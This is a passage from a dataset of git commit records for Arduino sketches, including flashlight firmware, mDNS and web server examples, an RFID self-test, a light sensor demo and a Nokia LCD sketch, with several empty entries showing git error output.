if(time_current<POWER_ON_BUTTON_THRESHOLD || amount_current==0)\n digitalWrite(DPIN_PWR, LOW);\n else\n digitalWrite(DPIN_PWR, HIGH);\n\n if(amount_current>overtemp_max) {\n amount_current = overtemp_max;\n }\n\n set_brightness(amount_off?0:amount_current);\n } while(1);\n\n PT_END(pt);\n}\n\nPT_THREAD(button_led_pt_func(struct pt *pt))\n{\n PT_BEGIN(pt);\n\n do {\n switch(batt_state) {\n case BATT_CHARGING:\n {\n const unsigned long pulseTime = time_current;\n \/\/ Smoothly pulse the green LED over a two-second interval,\n \/\/ as if it were \"breathing\". This is the charging indication.\n byte pulse = ((pulseTime>>2)&0xFF);\n pulse = ((pulse * pulse) >> 8);\n pulse = ((pulseTime>>2)&0x0100)?0xFF-pulse:pulse;\n analogWrite(DPIN_GLED, pulse);\n }\n if(overtemp_max<BRT_MAX_LUMEN) {\n digitalWrite(DPIN_RLED_SW, (time_current&0x03FF)>0x01FF?LOW:HIGH);\n } else {\n digitalWrite(DPIN_RLED_SW, LOW);\n }\n break;\n case BATT_CHARGED:\n \/\/ Solid green LED.\n digitalWrite(DPIN_GLED, HIGH);\n if(overtemp_max<BRT_MAX_LUMEN) {\n digitalWrite(DPIN_RLED_SW, (time_current&0x03FF)>0x01FF?LOW:HIGH);\n } else {\n digitalWrite(DPIN_RLED_SW, LOW);\n }\n break;\n case BATT_DISCHARGING:\n \/\/ Blink the indicator LED now and then.\n if(overtemp_max<BRT_MAX_LUMEN) {\n digitalWrite(DPIN_RLED_SW, (time_current&0x03FF)>50?LOW:HIGH);\n digitalWrite(DPIN_GLED, LOW);\n } else {\n digitalWrite(DPIN_GLED, (time_current&0x03FF)>10?LOW:HIGH);\n digitalWrite(DPIN_RLED_SW, LOW);\n }\n break;\n }\n PT_YIELD(pt);\n } while(1);\n\n PT_END(pt);\n}\n\nPT_THREAD(power_pt_func(struct pt *pt))\n{\n static unsigned short count;\n count++;\n PT_BEGIN(pt);\n\n overtemp_max = BRT_MAX_LUMEN;\n do {\n \/\/ Check the temperature sensor\n {\n static bool low_power_condition = false;\n static uint8_t anti_flicker = 255;\n\n if(temp_filtered > OVERTEMP_SHUTDOWN) {\n if(amount_current)\n Serial.println(\"Overheat shutdown!\");\n set_amount(0);\n digitalWrite(DPIN_DRV_MODE, LOW);\n digitalWrite(DPIN_DRV_EN, LOW);\n digitalWrite(DPIN_PWR, LOW);\n }\n\n if(low_power_condition || (vcc_current<VOLTAGE_LOW)) {\n if(!low_power_condition) {\n overtemp_max = amount_current;\n }\n low_power_condition = true;\n if((vcc_filtered < VOLTAGE_LOW) && (overtemp_max > BRT_MIN_LUMEN)) {\n digitalWrite(DPIN_DRV_EN, LOW);\n digitalWrite(DPIN_DRV_MODE, LOW);\n analogWrite(DPIN_DRV_EN,BRT_MIN_LUMEN);\n overtemp_max = overtemp_max\/2 + BRT_MIN_LUMEN;\n anti_flicker = 0;\n }\n }\n\n if(anti_flicker == 255) {\n if((vcc_filtered > VOLTAGE_NOMINAL+50) && (overtemp_max != BRT_MAX_LUMEN))\n overtemp_max++;\n anti_flicker -= 10;\n } else {\n anti_flicker++;\n }\n\n if(temp_filtered > OVERTEMP_THROTTLE) {\n short new_max = (256-((temp_filtered-OVERTEMP_THROTTLE)*2)<<2)-1;\n if((overtemp_max>BRT_MIN_LUMEN) && (new_max<(signed)overtemp_max)) {\n overtemp_max--;\n anti_flicker = 0;\n }\n }\n\n static unsigned long lastStatTime;\n if(time_current-lastStatTime > 1000) {\n while(time_current-lastStatTime > 1000)\n lastStatTime += 1000;\n\n Serial.print(\"stat: \");\n Serial.print(time_current);\n\n switch(batt_state) {\n case BATT_CHARGING:\n Serial.print(\" [CHARGING]\");\n break;\n case BATT_CHARGED:\n Serial.print(\" [CHARGED]\");\n break;\n case BATT_DISCHARGING:\n Serial.print(\" [BATTERY]\");\n break;\n }\n\n Serial.print(\" lHz=\");\n Serial.print(count);\n count = 0;\n\n Serial.print(\" duty=\");\n Serial.print(amount_current);\n\n Serial.print(\" Vcc=\");\n Serial.print(vcc_filtered);\n Serial.print(\"mv\");\n\n Serial.print(\" Temp=\");\n Serial.print((temp_filtered-500)\/10.0f);\n Serial.print(\"C\");\n\n if(orientation_enabled) {\n Serial.print(\" roll=\");\n Serial.print(angle_roll);\n\n Serial.print(\" pitch=\");\n Serial.print(angle_pitch);\n }\n\n if(overtemp_max<BRT_MAX_LUMEN) {\n Serial.print(\" THRTTL=\");\n Serial.print(overtemp_max);\n }\n Serial.println(\"\");\n }\n }\n\n PT_YIELD(pt);\n } while(1);\n\n PT_END(pt);\n}\n\nPT_THREAD(light_momentary_pt_func(struct pt *pt))\n{\n \/\/ If more than two minutes go by without the user\n \/\/ pressing a button, then go ahead and shut down.\n if(button_released_duration > 120000) {\n pinMode(DPIN_PWR, OUTPUT);\n digitalWrite(DPIN_PWR, LOW);\n }\n\n PT_BEGIN(pt);\n\n do {\n pinMode(DPIN_PWR, OUTPUT);\n digitalWrite(DPIN_PWR, HIGH);\n amount_off = 0;\n\n PT_WAIT_UNTIL(pt, !button_is_pressed);\n\n amount_off = 1;\n\n PT_WAIT_UNTIL(pt, button_is_pressed);\n } while(amount_current);\n\n PT_END(pt);\n}\n\nPT_THREAD(light_blinky_pt_func(struct pt *pt))\n{\n PT_BEGIN(pt);\n\n PT_WAIT_UNTIL(pt, !button_is_pressed && (button_released_duration > BUTTON_DEBOUNCE));\n button_pressed_duration = 0;\n\n do {\n amount_off = !((time_current&0xFF)<=64) || !((time_current&0x1F)<=16);\n PT_YIELD(pt);\n } while(amount_current && (button_pressed_duration<BUTTON_DEBOUNCE));\n\n amount_off = 0;\n PT_WAIT_UNTIL(pt,!button_is_pressed);\n\n PT_END(pt);\n}\n\nPT_THREAD(light_knob_pt_func(struct pt *pt))\n{\n static unsigned long lastTime;\n static float lastKnobAngle, knob;\n\n PT_BEGIN(pt);\n\n enable_orientation();\n\n \/\/ Set the initial knob value based on our current light bightness level.\n knob = sqrt((float)amount_current\/(float)BRT_MAX_LUMEN);\n\n \/\/ Wait for the user to let go of the button.\n PT_WAIT_UNTIL(pt,!button_is_pressed);\n\n \/\/ Wait for a brief moment for any vibrations to stabalize.\n PT_WAIT_FOR_PERIOD(pt,50);\n\n lastKnobAngle = angle_roll;\n\n do {\n {\n \/\/ Make apparent brightness changes linear by squaring the\n \/\/ value and dividing back down into range. This gives us\n \/\/ a gamma correction of 2.0, which is close enough.\n unsigned short bright = (uint16_t)(knob * knob * BRT_MAX_LUMEN);\n \n \/\/ Avoid ever appearing off in this mode!\n if (bright < BRT_MIN_LUMEN) bright = BRT_MIN_LUMEN;\n \n if((amount_current != amount_end) || abs((int16_t)(amount_end-bright)) > 4)\n fade_to_amount(bright,100);\n }\n\n PT_WAIT_FOR_PERIOD(pt,50);\n\n {\n #define DEG_TO_RAD(x) ((PI*(x))\/180.0f)\n float change = angle_roll - lastKnobAngle;\n lastKnobAngle = angle_roll;\n \n \/\/ Don't bother updating our brightness reading if our angle isn't good.\n if(abs(angle_pitch) < DEG_TO_RAD(60)) {\n if (change > PI) change -= 2.0f*PI;\n if (change < -PI) change += 2.0f*PI;\n knob += change \/ -7.0f;\n if (knob < 0) knob = 0;\n if (knob > 1) knob = 1;\n }\n }\n } while(amount_current && (button_pressed_duration<BUTTON_DEBOUNCE));\n\n PT_WAIT_UNTIL(pt,!button_is_pressed);\n\n PT_END(pt);\n}\n\nPT_THREAD(light_pt_func(struct pt *pt))\n{\n static unsigned long lastTime;\n static byte level;\n\n PT_BEGIN(pt);\n\n \/\/ Estimate what the current brighness level is closest to.\n if(amount_current < (BRT_LOW_LUMEN\/2)) {\n level = 0;\n } else if(amount_current < (BRT_MED_LUMEN\/2)) {\n level = 1;\n } else if(amount_current < (BRT_MAX_LUMEN\/2)) {\n level = 2;\n } else {\n level = 3;\n }\n\n button_released_time = time_current;\n button_released_duration = 0;\n\n Serial.println(\"Starting light thread.\");\n do {\n PT_WAIT_UNTIL(pt, button_is_pressed && (button_pressed_duration > BUTTON_DEBOUNCE));\n\n if(!amount_current || (button_released_duration<BUTTON_BRIGHTNESS_THRESHOLD)) {\n level++;\n level &= 3;\n Serial.print(\"intensity=\");\n Serial.println(level);\n } else {\n Serial.println(\"turning off\");\n level = 0;\n }\n\n switch(level) {\n case 0:\n break;\n\n case 1:\n fade_to_amount(BRT_LOW_LUMEN,250);\n break;\n\n case 2:\n fade_to_amount(BRT_MED_LUMEN,500);\n break;\n\n case 3:\n fade_to_amount(BRT_MAX_LUMEN,500);\n break;\n }\n\n PT_WAIT_UNTIL(pt, !button_is_pressed && (button_released_duration > BUTTON_DEBOUNCE));\n\n if(!level)\n fade_to_amount(0,500);\n } while(1);\n\n PT_END(pt);\n}\n\nvoid\ncheck_serial_port(void)\n{\n \/\/ Check the serial port\n if(Serial.available()) {\n char c = Serial.read();\n switch(c) {\n case '+':\n if(BRT_MAX_LUMEN-amount_current<BRT_MIN_LUMEN)\n set_amount(BRT_MAX_LUMEN);\n else\n set_amount(amount_current+BRT_MIN_LUMEN);\n break;\n\n case '-':\n if(amount_current<BRT_MIN_LUMEN)\n set_amount(0);\n else\n set_amount(amount_current-BRT_MIN_LUMEN);\n break;\n\n case 'X':\n case 'x': set_amount(0); break;\n case 'H':\n case 'h': set_amount(BRT_MAX_LUMEN); amount_off = 0; break;\n\n case '0': light_mode = 0; amount_off = 0; break;\n case '1': light_mode = 1; amount_off = 0; break;\n case '2': light_mode = 2; amount_off = 0; break;\n case '3': light_mode = 3; amount_off = 0; break;\n case '4': light_mode = 4; amount_off = 0; break;\n case '5': light_mode = 5; amount_off = 0; break;\n\n case 'R':\n \/\/ Let the watchdog reset us.\n Serial.println(\"Rebooting\");\n wdt_enable(WDTO_15MS);\n while(1) { }\n break;\n \/*\n case 'C':\n case 'c': Serial.println(\"+------+---------------------+\");\n Serial.println(\"| + | increase brightness |\");\n Serial.println(\"| - | decrease brightness |\");\n Serial.println(\"| x\/X | turn light off |\");\n Serial.println(\"| h\/H | max brightness |\");\n Serial.println(\"| 0..5 | set light_mode |\");\n Serial.println(\"| c\/C | list commands |\");\n Serial.println(\"| R | reboot |\");\n Serial.println(\"+------+---------------------+\");\n *\/\n default:\n break;\n }\n }\n}\n\nvoid\nsetup(void)\n{\n \/\/ Set our watchdog to kill us if we don't\n \/\/ check in every two seconds.\n wdt_enable(WDTO_2S);\n\n \/\/ We just powered on! That means either we got plugged \n \/\/ into USB, or (more likely) the user is pressing the \n \/\/ power button. We need to pull up the enable pin of \n \/\/ the regulator very soon so we don't lose power.\n\n \/\/ We don't pull the pin high here quite yet because\n \/\/ we will do that when we transition out of MODE_OFF,\n \/\/ somewhere in the main loop. Delaying this as long\n \/\/ as possible acts like a debounce for accidental button\n \/\/ taps.\n pinMode(DPIN_PWR, INPUT);\n digitalWrite(DPIN_PWR, LOW);\n\n \/\/ Initialize GPIO\n pinMode(DPIN_RLED_SW, INPUT);\n pinMode(DPIN_GLED, OUTPUT);\n pinMode(DPIN_DRV_MODE, OUTPUT);\n pinMode(DPIN_DRV_EN, OUTPUT);\n digitalWrite(DPIN_DRV_MODE, LOW);\n digitalWrite(DPIN_DRV_EN, LOW);\n \n \/\/ Initialize serial busses\n Serial.begin(9600);\n Wire.begin();\n\n button_released_time = millis();\n button_pressed_time = millis();\n\n update_loop_variables();\n update_loop_variables();\n update_loop_variables();\n\n \/\/ Don't bother loading the settings if we are connected to USB.\n \/\/ Only load the settings when we are running from the battery.\n if (batt_state == BATT_DISCHARGING) {\n retrieve_settings();\n }\n\n Serial.println(\"Powered up!\");\n}\n\nvoid\nloop(void)\n{\n static unsigned long lastTime;\n unsigned long time = millis();\n\n \/\/ Reset the watchdog timer\n wdt_reset();\n\n update_loop_variables();\n\n check_serial_port();\n\n button_led_pt_func(&button_led_pt);\n\n power_pt_func(&power_pt);\n\n fade_control_pt_func(&fade_control_pt);\n\n#define NUMBER_OF_MODES (4)\n\n static byte last_mode;\n static byte save_mode;\n if((button_pressed_duration > 2048+1024+512*NUMBER_OF_MODES+1024)) {\n if(save_mode == 1) {\n amount_off = 1;\n save_settings();\n amount_off = 0;\n save_mode = 2;\n }\n } else if((button_pressed_duration > 2048+1024+512*NUMBER_OF_MODES)) {\n amount_off = ((button_pressed_duration\/64) & 1);\n if(save_mode == 0) {\n save_mode = 1;\n last_mode = 0;\n }\n } else if((button_pressed_duration > 2048)) {\n byte selected_mode = (button_pressed_duration-2048)\/512 + 1;\n amount_off = 0;\n if(selected_mode-1>=light_mode) {\n selected_mode++;\n }\n if(selected_mode > NUMBER_OF_MODES)\n selected_mode = NUMBER_OF_MODES;\n if(selected_mode-1==light_mode)\n selected_mode--;\n if(selected_mode != last_mode) {\n amount_flash = 1;\n last_mode = selected_mode;\n Serial.print(\"Mode selected: \");\n Serial.println(selected_mode-1);\n }\n } else {\n char thread_status;\n if(save_mode) {\n save_mode = 0;\n amount_off = 0;\n button_pressed_duration = 0;\n button_released_duration = 0;\n }\n if(last_mode) {\n light_mode = last_mode-1;\n last_mode = 0;\n Serial.print(\"Mode change: \");\n Serial.println(light_mode);\n PT_INIT(&light_pt);\n PT_INIT(&light_momentary_pt);\n PT_INIT(&light_blinky_pt);\n PT_INIT(&light_knob_pt);\n }\n switch(light_mode) {\n default:\n case 0: thread_status = light_momentary_pt_func(&light_momentary_pt); break;\n case 1: thread_status = light_pt_func(&light_pt); break;\n case 2: thread_status = light_blinky_pt_func(&light_blinky_pt); break;\n case 3: thread_status = light_knob_pt_func(&light_knob_pt); break;\n }\n if(!PT_SCHEDULE(thread_status)) {\n light_mode = 0;\n fade_to_amount(0,500);\n }\n }\n\n return;\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'SlideBright.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"ff2c4930ea16d890235cf3a9a8e6fbc094acedc7","subject":"Create mdns.ino","message":"Create mdns.ino","repos":"mrhornsby\/spark-core-mdns,mrhornsby\/spark-core-mdns","old_file":"firmware\/examples\/mdns.ino","new_file":"firmware\/examples\/mdns.ino","new_contents":"#include \"MDNS.h\"\n\n#define HTTP_PORT 80\n\nMDNS mdns;\n\nString html = \"<html><body><h1>Ok!<\/h1><\/body><\/html>\";\n\nTCPServer server = TCPServer(HTTP_PORT);\n\nvoid setup() {\n bool success = mdns.setHostname(\"core-1\");\n \n if (success) {\n success = mdns.setService(\"_http._tcp\", HTTP_PORT, \"Core 1\");\n }\n \n if (success) {\n success = mdns.addTXTEntry(\"coreid\", \"1\");\n }\n \n if (success) {\n success = mdns.begin();\n }\n \n if (success) {\n Spark.publish(\"mdns\/setup\", \"success\");\n } else {\n Spark.publish(\"mdns\/setup\", \"error\");\n }\n}\n\nvoid loop() {\n mdns.processQueries();\n \n TCPClient client = server.available();\n \n if (client){\n client.println(html);\n client.println();\n client.flush();\n client.stop();\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'firmware\/examples\/mdns.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"eeb24b69df9f25315dc9527da0f1147ad4736ccd","subject":"Change to foxy-head-2020.","message":"Change to foxy-head-2020.\n\nClara visited 20\/08\/2020 and we changed to swivel to a slowly driven set\nof movements.\n","repos":"JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino,JulianNicholls\/Arduino","old_file":"foxy-head-2020\/foxy-head-2020.ino","new_file":"foxy-head-2020\/foxy-head-2020.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/JulianNicholls\/Arduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"8e7b043d8fcfa5f571b5bc01aec7a291d304e4db","subject":"testing led strip","message":"testing led strip\n","repos":"MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM","old_file":"Documentation\/unit tests\/lpd8806\/lpd8806.ino","new_file":"Documentation\/unit tests\/lpd8806\/lpd8806.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Documentation\/unit' did not match any file(s) known to git\nerror: pathspec 'tests\/lpd8806\/lpd8806.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"965a4c71c0f8b887e2e9846214de6a0756aceb0c","subject":"Six channels Leonardo code added","message":"Six channels Leonardo code added\n","repos":"BackyardBrains\/SpikerShield,BackyardBrains\/SpikerShield","old_file":"Muscle\/Arduino Code\/SixChannelsLeonardo\/SixChannelsLeonardo.ino","new_file":"Muscle\/Arduino Code\/SixChannelsLeonardo\/SixChannelsLeonardo.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Muscle\/Arduino' did not match any file(s) known to git\nerror: pathspec 'Code\/SixChannelsLeonardo\/SixChannelsLeonardo.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d82652aa23b1232789603736d54c570bc15e869d","subject":"Added ESP gw","message":"Added ESP gw\n","repos":"werar\/iothome,werar\/iothome,werar\/iothome","old_file":"modules\/mysensor_mqtt_bridge_for_cabinet\/D1_mini_mqtt_GW\/ESP32_mqtt_GW.ino","new_file":"modules\/mysensor_mqtt_bridge_for_cabinet\/D1_mini_mqtt_GW\/ESP32_mqtt_GW.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/werar\/iothome.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"01062362aa63f15d5893c04e75a8ec7f446acef0","subject":"New example","message":"New example\n","repos":"sim1234\/MiniApache","old_file":"examples\/CustomView\/CustomView.ino","new_file":"examples\/CustomView\/CustomView.ino","new_contents":"\/*\n Custom view example\n\n A simple web server that hosts files from SD card.\n\n Circuit:\n * Ethernet shield attached to pins 10, 11, 12, 13\n\n created 27.11.2015\n by Szymon Zmilczak\n *\/\n\n#include <Ethernet.h>\n#include <MiniApache.h>\n\nbyte mac[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; \/\/ MAC address from Ethernet shield sticker under board\nIPAddress ip(192, 168, 0, 179); \/\/ IP address, may need to be changed depending on network\nMiniApache apache(80); \/\/ Create a server at port 80\n\nvoid setup(){\n Serial.begin(9600); \/\/ Serial for debugging\n pinMode(10, OUTPUT);\n digitalWrite(10, HIGH); \/\/ Disable Ethernet chip\n Ethernet.begin(mac, ip); \/\/ Initialize Ethernet device\n apache.begin(\"\/served\", 4); \/\/ Initialize MiniApache server: served path and SD card pin\n}\n\nvoid loop() {\n if(apache.PendingRequest()){ \/\/ Check for pending request\n if (apache.RequestIs(\"\/test\")){ \/\/ Check if request path is equal to \/test\n apache.PrintHeader(); \/\/ Start response\n \/\/ equivalent to PrintHeader(200, \"OK\", \"text\/html\", false); - 200 (OK) response of text\/html type, not cached\n apache.client.print(\"Test succesfull\"); \/\/ Write response\n apache.ReportClientServed(); \/\/ Finish response\n }\n }\n apache.ProcessRequest();\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/CustomView\/CustomView.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"b49790d40c1176cc800dbbc1e7415e8083ac7afc","subject":"example for firmware check","message":"example for firmware check\n","repos":"LaloHao\/rfid,yaalsn\/rfid,smallkid\/rfid,hramrach\/rfid,CapeSepias\/rfid,northDacoder\/rfid,miguelbalboa\/rfid,sophiekovalevsky\/rfid,Rotzbua\/rfid,Rotzbua\/rfid,mirko314\/rfid","old_file":"examples\/firmware_check\/firmware_check.ino","new_file":"examples\/firmware_check\/firmware_check.ino","new_contents":"\/*\n * ----------------------------------------------------------------------------\n * This is a MFRC522 library example; see https:\/\/github.com\/miguelbalboa\/rfid\n * for further details and other examples.\n * \n * NOTE: The library file MFRC522.h has a lot of useful info. The functions are\n * documented in MFRC522.cpp. Please read it.\n * \n * Released into the public domain.\n * ----------------------------------------------------------------------------\n * Example sketch\/program showing how to test your firmware.\n * \n * Typical pin layout used:\n * -----------------------------------------------------------------------------------------\n * MFRC522 Arduino Arduino Arduino Arduino Arduino\n * Reader\/PCD Uno Mega Nano v3 Leonardo\/Micro Pro Micro\n * Signal Pin Pin Pin Pin Pin Pin\n * -----------------------------------------------------------------------------------------\n * RST\/Reset RST 9 5 D9 RESET\/ICSP-5 RST\n * SPI SS SDA(SS) 10 53 D10 10 10\n * SPI MOSI MOSI 11 \/ ICSP-4 51 D11 ICSP-4 16\n * SPI MISO MISO 12 \/ ICSP-1 50 D12 ICSP-1 14\n * SPI SCK SCK 13 \/ ICSP-3 52 D13 ICSP-3 15\n *\/\n\n#include <SPI.h>\n#include <MFRC522.h>\n\n#define RST_PIN 9 \/\/ Configurable, see typical pin layout above\n#define SS_PIN 10 \/\/ Configurable, see typical pin layout above\n\nMFRC522 mfrc522(SS_PIN, RST_PIN); \/\/ Create MFRC522 instance.\n\nvoid setup() {\n Serial.begin(9600); \/\/ Initialize serial communications with the PC\n while (!Serial); \/\/ Do nothing if no serial port is opened (added for Arduinos based on ATMEGA32U4)\n SPI.begin(); \/\/ Init SPI bus\n mfrc522.PCD_Init(); \/\/ Init MFRC522 module\n \n Serial.println(F(\"*****************************\"));\n Serial.println(F(\"MFRC522 Digital self test\"));\n Serial.println(F(\"*****************************\"));\n ShowReaderDetails(); \/\/ Show details of PCD - MFRC522 Card Reader details\n Serial.println(F(\"Performing test...\"));\n bool result = mfrc522.PCD_PerformSelfTest();\n Serial.println(F(\"-----------------------------\"));\n Serial.print(F(\"Result: \"));\n if (result)\n Serial.println(F(\"OK\"));\n else\n Serial.println(F(\"defect or unknown\"));\n Serial.println();\n}\n\nvoid loop() {} \/\/ nothing to do\n\nvoid ShowReaderDetails() {\n \/\/ Get the MFRC522 firmware version\n byte v = mfrc522.PCD_ReadRegister(mfrc522.VersionReg);\n Serial.print(F(\"Firmware Version: 0x\"));\n Serial.print(v, HEX);\n if (v == 0x91)\n Serial.print(F(\" = v1.0\"));\n else if (v == 0x92)\n Serial.print(F(\" = v2.0\"));\n else\n Serial.print(F(\" = (unknown)\"));\n Serial.println();\n \/\/ When 0x00 or 0xFF is returned, communication probably failed\n if ((v == 0x00) || (v == 0xFF))\n Serial.println(F(\"WARNING: Communication failure, is the MFRC522 properly connected?\"));\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/firmware_check\/firmware_check.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"f1128915e4f1bebc222fdaa5d97980e479b25702","subject":"Adding Arduino test sketch to check bubbling occurs when asked.","message":"Adding Arduino test sketch to check bubbling occurs when asked.\n","repos":"Anti-AliasLabs\/bubblino2","old_file":"arduino\/bubble_trigger_test\/bubble_trigger_test.ino","new_file":"arduino\/bubble_trigger_test\/bubble_trigger_test.ino","new_contents":"\/* BubbleTriggerTest\n*\n* copyright Becky Stewart, Anti-Alias Labs\n* becky@antialiaslabs.com\n*\n* Tests that bubbling is occurring correctly by cycling \n* through bubbling.\n*\/\n\n\/\/ pins \nint greenStatusLED = 6;\nint yellowStatusLED = 5;\nint relay1 = 2;\nint relay2 = 3;\n\n\/\/ other variables\nint bubbleTime = 150;\nint bubbleThrottle = 5000;\n\nvoid setup() {\n \/\/ set up pin modes\n pinMode( greenStatusLED, OUTPUT );\n pinMode( yellowStatusLED, OUTPUT );\n pinMode( relay1, OUTPUT );\n pinMode( relay2, OUTPUT );\n \n \/\/ start serial\n \/\/Serial.begin( 9600 );\n \/\/while( !Serial );\n \n \/\/ print welcome message at startup\n \/\/Serial.println( \"Testing the bubbler\");\n\n}\n\nvoid loop() {\n \n \/\/ bubble a test series\n \/\/Serial.println(\"...bubbles\");\n bubble();\n \n delay( 500 );\n \n bubble(); \n \n \n delay( 30000 );\n}\n\nvoid bubble() {\n \/\/ turn on status LED\n digitalWrite( greenStatusLED, HIGH );\n digitalWrite( yellowStatusLED, LOW );\n \n \/\/ trigger relay\n digitalWrite( relay1, HIGH );\n digitalWrite( relay2, HIGH );\n \n \/\/ wait to create bubbles\n delay( bubbleTime );\n \n \/\/ stop relay\n digitalWrite( relay1, LOW );\n digitalWrite( relay2, LOW );\n \n \/\/ update status LEDs\n digitalWrite( greenStatusLED, LOW);\n digitalWrite( yellowStatusLED, HIGH);\n \n \/\/ wait to throttle bubbling\n delay( bubbleThrottle );\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/bubble_trigger_test\/bubble_trigger_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"bf17d399ea184ae50029f250d4c5c34d939b9114","subject":"versionmejorada","message":"versionmejorada\n","repos":"DigitalesSED\/ProyectoFinal","old_file":"Blink\/Blink.ino","new_file":"Blink\/Blink.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/DigitalesSED\/ProyectoFinal.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"f282cdb96e85038c9bfc97114470be1b893809ed","subject":"Create BH1750FVI_4Wire.ino","message":"Create BH1750FVI_4Wire.ino\n\nAdded a new very simple example with just 4 wires (VCC,GND,SDA,SCL)","repos":"PeterEmbedded\/BH1750FVI","old_file":"examples\/BH1750FVI_4Wire\/BH1750FVI_4Wire.ino","new_file":"examples\/BH1750FVI_4Wire\/BH1750FVI_4Wire.ino","new_contents":"\/*\n This example uses only 4 wires to test the BH1750 Light sensor\n \n Connecting the sensor to a NodeMCU ESP8266:\n VCC <-> 3V3\n GND <-> GND\n SDA <-> D2\n SCL <-> D1\n\n Connecting the sensor to a Arduino UNO:\n VCC <-> 3V3\n GND <-> GND\n SDA <-> A4\/SDA \n SCL <-> A5\/SCL\n\n Connecting the sensor to a Arduino DUE:\n VCC <-> 3V3\n GND <-> GND\n SDA <-> D20\/SDA\n SCL <-> D21\/SCL\n*\/\n\n#include <BH1750FVI.h>\n\n\/\/ Create the Lightsensor instance\nBH1750FVI LightSensor(BH1750FVI::k_DevModeContLowRes);\n\nvoid setup() \n{\n Serial.begin(115200);\n LightSensor.begin(); \n}\n\nvoid loop()\n{\n uint16_t lux = LightSensor.GetLightIntensity();\n Serial.print(\"Light: \");\n Serial.println(lux);\n delay(250);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/BH1750FVI_4Wire\/BH1750FVI_4Wire.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"52a01d029ef301a0e928da30b76437a39ddbd215","subject":"display on nokia screen with arduino -ac","message":"display on nokia screen with arduino -ac\n","repos":"ap1\/PixeeBel,ap1\/PixeeBel,ap1\/PixeeBel,ap1\/PixeeBel","old_file":"code\/pbdisplay\/pcdtestAug22serialinputangle\/pcdtestAug22serialinputangle.ino","new_file":"code\/pbdisplay\/pcdtestAug22serialinputangle\/pcdtestAug22serialinputangle.ino","new_contents":"\/*********************************************************************\nThis is an example sketch for our Monochrome Nokia 5110 LCD Displays\n\n Pick one up today in the adafruit shop!\n ------> http:\/\/www.adafruit.com\/products\/338\n\nThese displays use SPI to communicate, 4 or 5 pins are required to\ninterface\n\nAdafruit invests time and resources providing this open source code,\nplease support Adafruit and open-source hardware by purchasing\nproducts from Adafruit!\n\nWritten by Limor Fried\/Ladyada for Adafruit Industries.\nBSD license, check license.txt for more information\nAll text above, and the splash screen must be included in any redistribution\n*********************************************************************\/\n\n#include <SPI.h>\n#include <Adafruit_GFX.h>\n#include <Adafruit_PCD8544.h>\n#include <math.h>\n\n\/\/ Software SPI (slower updates, more flexible pin options):\n\/\/ pin 7 - Serial clock out (SCLK)\n\/\/ pin 6 - Serial data out (DIN)\n\/\/ pin 5 - Data\/Command select (D\/C)\n\/\/ pin 4 - LCD chip select (CS)\n\/\/ pin 3 - LCD reset (RST)\nAdafruit_PCD8544 display = Adafruit_PCD8544(7, 6, 5, 4, 3);\n\n\/\/ Hardware SPI (faster, but must use certain hardware pins):\n\/\/ SCK is LCD serial clock (SCLK) - this is pin 13 on Arduino Uno\n\/\/ MOSI is LCD DIN - this is pin 11 on an Arduino Uno\n\/\/ pin 5 - Data\/Command select (D\/C)\n\/\/ pin 4 - LCD chip select (CS)\n\/\/ pin 3 - LCD reset (RST)\n\/\/ Adafruit_PCD8544 display = Adafruit_PCD8544(5, 4, 3);\n\/\/ Note with hardware SPI MISO and SS pins aren't used but will still be read\n\/\/ and written to during SPI transfer. Be careful sharing these pins!\n\n#define NUMFLAKES 10\n#define XPOS 0\n#define YPOS 1\n#define DELTAY 2\n\n\n#define LOGO16_GLCD_HEIGHT 16\n#define LOGO16_GLCD_WIDTH 16\n\nstatic const unsigned char PROGMEM logo16_glcd_bmp[] =\n{ B00000000, B11000000,\n B00000001, B11000000,\n B00000001, B11000000,\n B00000011, B11100000,\n B11110011, B11100000,\n B11111110, B11111000,\n B01111110, B11111111,\n B00110011, B10011111,\n B00011111, B11111100,\n B00001101, B01110000,\n B00011011, B10100000,\n B00111111, B11100000,\n B00111111, B11110000,\n B01111100, B11110000,\n B01110000, B01110000,\n B00000000, B00110000 };\n\nvoid setup() {\n 